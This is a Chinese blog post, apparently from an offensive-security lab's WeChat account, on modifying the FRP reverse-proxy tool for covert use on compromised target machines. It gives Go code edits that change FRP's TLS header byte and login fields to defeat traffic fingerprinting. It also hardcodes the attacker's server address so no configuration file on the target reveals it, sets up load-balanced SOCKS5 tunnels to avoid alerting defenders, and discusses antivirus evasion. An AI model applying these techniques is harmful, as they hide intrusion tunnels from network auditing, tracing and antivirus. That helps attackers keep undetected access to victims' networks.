Frp改造

  • A+
所属分类:安全闲碎

Frp改造


介绍


修改下Frp比较明显的一些特征,更好的隐藏自己,躲避下流量审计。


TLS加密


Frp使用时以明文相互传输,可使用TLS协议来加密传输,在Frpc配置文件中添加如下内容:


tlsenable = true


也可以强制使用TLS,在Frps中配置如下内容


tlsonly = true


且socks5验证,不使用TLS情况下,明文状态也会暴露账号和密码:


Frp改造


加密后的情况:


Frp改造


传输压缩


有些局域网会进行流量和特征的识别,从而进行拦截,这里可以使用Frp的流量加密和压缩功能,Frpc端进行如下配置:


use_encryption = trueuse_compression = true


PS:如果使用了TLS加密,则除XTCP外,不需要再设置 use_encryption。


信息修改


Frp连接时,客户端会发送相关请求到服务端,这些请求内容是固定了,包含了目标机的一些信息,如下图:


Frp改造


上述version等信息字段我们可以进行修改,文件位置在pkg/msg/msg.go中,修改示例如下:


type Login struct {  Version      string            `json:"vs"`  Hostname     string            `json:"hn"`  Os           string            `json:"oos"`  Arch         string            `json:"ac"`  User         string            `json:"username"`  PrivilegeKey string            `json:"pk"`  Timestamp    int64             `json:"ts"`  RunID        string            `json:"ri"`  Metas        map[string]string `json:"m"`
// Some global configures. PoolCount int `json:"pool_count"`}


特征修改


Frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,流量如下图:


Frp改造


代码位置在pkg/util/net/tls.go,代码中需改的四处已经标上了注释:


package net
import ( "crypto/tls" "fmt" "net" "time"
gnet "github.com/fatedier/golib/net")
var ( // FRPTLSHeadByte = 0x17 // 修改后 FRPTLSHeadByte = 0x16)
func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config, disableCustomTLSHeadByte bool) (out net.Conn) { if !disableCustomTLSHeadByte { // c.Write([]byte{byte(FRPTLSHeadByte)}) // 修改后 c.Write([]byte{byte(FRPTLSHeadByte),byte(0x71),byte(0x72)}) } out = tls.Client(c, tlsConfig) return}
func CheckAndEnableTLSServerConnWithTimeout( c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,) (out net.Conn, isTLS bool, custom bool, err error) {
// sc, r := gnet.NewSharedConnSize(c, 2) // 修改后 sc, r := gnet.NewSharedConnSize(c, 4) // buf := make([]byte, 1) buf := make([]byte, 3) var n int c.SetReadDeadline(time.Now().Add(timeout)) n, err = r.Read(buf) c.SetReadDeadline(time.Time{}) if err != nil { return }
// if n == 1 && int(buf[0]) == FRPTLSHeadByte { // 修改后 if n == 3 && int(buf[0]) == FRPTLSHeadByte { out = tls.Server(c, tlsConfig) isTLS = true custom = true } else if n == 1 && int(buf[0]) == 0x16 { out = tls.Server(sc, tlsConfig) isTLS = true } else { if tlsOnly { err = fmt.Errorf("non-TLS connection received on a TlsOnly server") return } out = sc } return}


不一定需要改成上面的0x16,0x71,0x72,这里尝试其它的十六进制也可以,流程也能走通,改完重新编译后包如下:


Frp改造


配置文件


目标机运行客户端加载frpc配置文件时,会包含服务器的地址,泄露敏感信息,容易被溯源,建议隐藏。


网上整理的方法:1,将信息写死到代码中,进行编译。2,使用域前置。3,加载配置文件后自动删除。4,远程加载配置文件等等。


这里看了下把配置信息写到代码中的情况,网上是之前的版本,最新版本有些小改动,尝试了一直没跑起来,所以最后换了个办法。


因为Frpc在不配置地址和端口的情况下,默认是0.0.0.0和7000,所以配置文件我们可以不写,把代码中的默认地址改一下就行,比较省事。


代码位置在pkg/config/client.go中,如下图:


Frp改造


这里改成我服务端的IP172.168.1.16,可以成功连接:


Frp改造


这里可以再尝试一个不存在的IP,比如172.168.111.111,会报错超时,可以发现默认配置是生效的,有向111的地址请求:


Frp改造


负载均衡


负载均衡一定程序也可以算是流量规避,如果内网中流量过大,或者目标机器性能不太好等情况下,更容易引起警觉,相关配置参考:


Frps.ini


[common]bind_addr = 0.0.0.0bind_port = 7000kcp_bind_port = 7000
dashboard_port = 7500dashboard_user = fuzaidashboard_pwd = fuzai


Frpc.ini 1:


[common]server_addr = 172.168.1.16server_port = 7000protocol = kcptls_enable = true
# 这里跟其他的client的不能一样[plugin_socks5_fuzai1]type = tcpremote_port = 6000plugin = socks5plugin_user = adminplugin_passwd = admin
# 启用健康检查,类型为 tcphealth_check_type = tcp
# 建立连接超时时间为 3 秒health_check_timeout_s = 3
# 连续 3 次检查失败,此 proxy 会被摘除health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查health_check_interval_s = 10
# 压缩一下流量吧,反正不差那点cpu占用率,毕竟咱都负载均衡了use_compression = true
# 负载均衡配置客户组group = fuzaigroup_key = 123456


Frpc.ini 2:


[common]server_addr = 172.168.1.16server_port = 7000protocol = kcptls_enable = true
# 这里跟其他的client的不能一样[plugin_socks5_fuzai2]type = tcpremote_port = 6000plugin = socks5plugin_user = adminplugin_passwd = admin
# 启用健康检查,类型为 tcphealth_check_type = tcp
# 建立连接超时时间为 3 秒health_check_timeout_s = 3
# 连续 3 次检查失败,此 proxy 会被摘除health_check_max_failed = 3
# 每隔 10 秒进行一次健康检查health_check_interval_s = 10
# 压缩一下流量吧,反正不差那点cpu占用率,毕竟咱都负载均衡了use_compression = true
# 负载均衡配置客户组group = fuzaigroup_key = 123456


客户端以此类推就行,主要是pulgin_socks5_fuzaixxx那个名字保证不一样就可以,服务端访问Web查看流量分布基本比较均匀:


Frp改造


服务端日志中也可以看到进行了相互切换:


Frp改造


自己编译


修改代码后,Frp本身提供了交叉编译脚本,直接make就好,所以建议在Linux上操作,相关命令如下:


wget https://golang.org/dl/gox.xx.x.linux-amd64.tar.gztar -zxvf gox.xx.x.linux-amd64.tar.gz -C /usr/local/ln -s /usr/local/go/bin/go /bin/govim /etc/profileexport GOROOT=/opt/goexport GOPATH=/home/work/goexport GOBIN=$GOPATH/binexport PATH=$PATH:$GOROOT/bin:GOBINsource /etc/profilego envgo env -w GOPROXY=https://goproxy.cncd frpmake -f Makefile.cross-compiles


总结


原生编译出来的Frp可能会比Upx压缩过后的的免杀效果要好,Upx压缩减小大小后,反而报毒的会更多(但国外偏多一点),可参考目标机是什么杀软,再判断是否要进行压缩,或者进行相关手段的免杀处理。

原文始发于微信公众号(aFa攻防实验室):Frp改造

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: